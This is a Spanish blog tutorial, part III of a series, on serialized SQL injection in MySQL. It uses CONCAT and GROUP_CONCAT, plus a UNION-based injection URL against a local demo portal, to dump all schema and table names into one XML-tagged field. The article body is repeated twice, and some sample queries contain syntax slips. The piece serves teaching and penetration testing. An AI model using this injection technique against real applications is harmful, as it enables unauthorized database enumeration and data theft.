Serialized SQL Injection (Parte III de VI)
*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************
Serialized SQL Injection en MySQL
MySQL no proporciona herramientas para convertir los datos de una select en XML de serie. Por defecto sólo es posible hacerlo desde línea de comandos utilizando la opción –xml o instalando un componente udf llamado MyXML que no es bastante común encontrarlo hoy en día desplegado.
Sin embargo, sigue pudiendo ser posible montar el árbol XML de resultados forma manual serializando todos los resultados como un único campo de tipo string. Para realizar esta tarea el procedimiento y las herramientas que se pueden usar son las siguientes:
Función Concat
El uso de la función CONCAT en bases de datos MySQL permite unir tantos campos de texto como sea necesario, de forma que en una sola columna se recuperen todos los datos.
select concat '[row]' , '[schema]' , TABLE_SCHEMA , '[/schema]' , '[name]' , TABLE_NAME , '[/name]' , '[/row]' ) from INFORMATION_SCHEMA.TABLES WHERE Table_Type='BASE TABLE'
[row][schema]mysql[/schema][name]columns_priv[/name][/row]
[row][schema]mysql[/schema][name>db[/name][/row]
[row][schema]mysql[/schema][name>func[/name][/row]
Agrupación con Group_Concat
Una vez que tenemos en una única fila todos los datos en formato XML, es necesario agruparlas todas, para ello se puede usar la función group_concat. Como se puede ver se le indica a la función group_concat que no se quiere utilizar un separador de filas y concatena el elemento raiz al principio y al final.
Como se puede apreciar la consulta mostrará correctamente todas las filas de una tabla en un único campo string.
select concat(‘[DS]’, group_concat( concat('[row]' , '[schema]' , TABLE_SCHEMA , ' [/schema] ' , ' [name] ' , TABLE_NAME , ' [/name]','[/row]') SEPARATOR ''), ‘[/DS]’) from INFORMATION_SCHEMA.TABLES WHERE Table_Type='BASE TABLE'
[DS]
[row][schema]mysql[/schema][name]columns_priv[/name][/row]
[row][schema]mysql[/schema][name]db[/name][/row]
…
[/DS]
Si probamos esta inyección en nuestro entorno de ejemplo podremos ver cómo funciona. En primer lugar vemos que podemos inyectar y la versión de la base de datos con la que estamos trabajando.
Inyección en aplicación sobre MySQL 5
Una vez comprobado esto podemos hacer una inyección con concat y group_concat para que devuelva el nombre de todas las tablas. Esto sería algo como lo siguiente:
http://localhost/employeePortal/mysql.aspx?id=-1 union select '1', '1', '1', Concat(char(60), char(100), char(115), char(62), (select group_concat(char(60), char(114), char(111), char(119), char(62), cast (table_schema as char), char(60), char(47), char(114), char(111), char(119), char(62), char(60), char(101), char(62), cast(table_name as char), char(60), char(47), char(101), char(62), char(32) SEPARATOR '') from information_schema.tables where table_type='BASE TABLE' order by 1), char(60), char(47), char(100), char(115), char(62))
Como se puede ver, se han sustituido las etiquetas xml creadas por nosotros por su codificación decimal. Estas etiquetas tendrán sentido más adelante para automatizar la extracción de datos con una herramienta automática. En este caso las etiquetas creadas son:
- char(60),char(100),char(115),char(62) es [ds]
- char(60),char(47),char(100),char(115),char(62) es [/ds]
- char(60),char(114),char(111),char(119),char(62) es [row]
- char(60),char(47),char(114),char(111),char(119),char(62) es [/row]
- char(60),char(101),char(62) es [e]
- char(60),char(47),char(101),char(62) es [/e]
Si lanzamos la consulta vemos que aparecen todas las tablas juntas en un solo campo.
Inyección serializada a un solo campo
Pero si miramos en el código fuente podremos observar el código XML generado con la inyección.
Inyección serializada a XML en código fuente
*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************
Serialized SQL Injection en MySQL
MySQL no proporciona herramientas para convertir los datos de una select en XML de serie. Por defecto sólo es posible hacerlo desde línea de comandos utilizando la opción –xml o instalando un componente udf llamado MyXML que no es bastante común encontrarlo hoy en día desplegado.
Sin embargo, sigue pudiendo ser posible montar el árbol XML de resultados forma manual serializando todos los resultados como un único campo de tipo string. Para realizar esta tarea el procedimiento y las herramientas que se pueden usar son las siguientes:
Función Concat
El uso de la función CONCAT en bases de datos MySQL permite unir tantos campos de texto como sea necesario, de forma que en una sola columna se recuperen todos los datos.
select concat '[row]' , '[schema]' , TABLE_SCHEMA , '[/schema]' , '[name]' , TABLE_NAME , '[/name]' , '[/row]' ) from INFORMATION_SCHEMA.TABLES WHERE Table_Type='BASE TABLE'
[row][schema]mysql[/schema][name]columns_priv[/name][/row]
[row][schema]mysql[/schema][name>db[/name][/row]
[row][schema]mysql[/schema][name>func[/name][/row]
Agrupación con Group_Concat
Una vez que tenemos en una única fila todos los datos en formato XML, es necesario agruparlas todas, para ello se puede usar la función group_concat. Como se puede ver se le indica a la función group_concat que no se quiere utilizar un separador de filas y concatena el elemento raiz al principio y al final.
Como se puede apreciar la consulta mostrará correctamente todas las filas de una tabla en un único campo string.
select concat(‘[DS]’, group_concat( concat('[row]' , '[schema]' , TABLE_SCHEMA , ' [/schema] ' , ' [name] ' , TABLE_NAME , ' [/name]','[/row]') SEPARATOR ''), ‘[/DS]’) from INFORMATION_SCHEMA.TABLES WHERE Table_Type='BASE TABLE'
[DS]
[row][schema]mysql[/schema][name]columns_priv[/name][/row]
[row][schema]mysql[/schema][name]db[/name][/row]
…
[/DS]
Si probamos esta inyección en nuestro entorno de ejemplo podremos ver cómo funciona. En primer lugar vemos que podemos inyectar y la versión de la base de datos con la que estamos trabajando.
Inyección en aplicación sobre MySQL 5
Una vez comprobado esto podemos hacer una inyección con concat y group_concat para que devuelva el nombre de todas las tablas. Esto sería algo como lo siguiente:
http://localhost/employeePortal/mysql.aspx?id=-1 union select '1', '1', '1', Concat(char(60), char(100), char(115), char(62), (select group_concat(char(60), char(114), char(111), char(119), char(62), cast (table_schema as char), char(60), char(47), char(114), char(111), char(119), char(62), char(60), char(101), char(62), cast(table_name as char), char(60), char(47), char(101), char(62), char(32) SEPARATOR '') from information_schema.tables where table_type='BASE TABLE' order by 1), char(60), char(47), char(100), char(115), char(62))
Como se puede ver, se han sustituido las etiquetas xml creadas por nosotros por su codificación decimal. Estas etiquetas tendrán sentido más adelante para automatizar la extracción de datos con una herramienta automática. En este caso las etiquetas creadas son:
- char(60),char(100),char(115),char(62) es [ds]
- char(60),char(47),char(100),char(115),char(62) es [/ds]
- char(60),char(114),char(111),char(119),char(62) es [row]
- char(60),char(47),char(114),char(111),char(119),char(62) es [/row]
- char(60),char(101),char(62) es [e]
- char(60),char(47),char(101),char(62) es [/e]
Si lanzamos la consulta vemos que aparecen todas las tablas juntas en un solo campo.
Inyección serializada a un solo campo
Pero si miramos en el código fuente podremos observar el código XML generado con la inyección.
Inyección serializada a XML en código fuente
*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************
1 comentario:
PostgreSQL FTW!
Publicar un comentario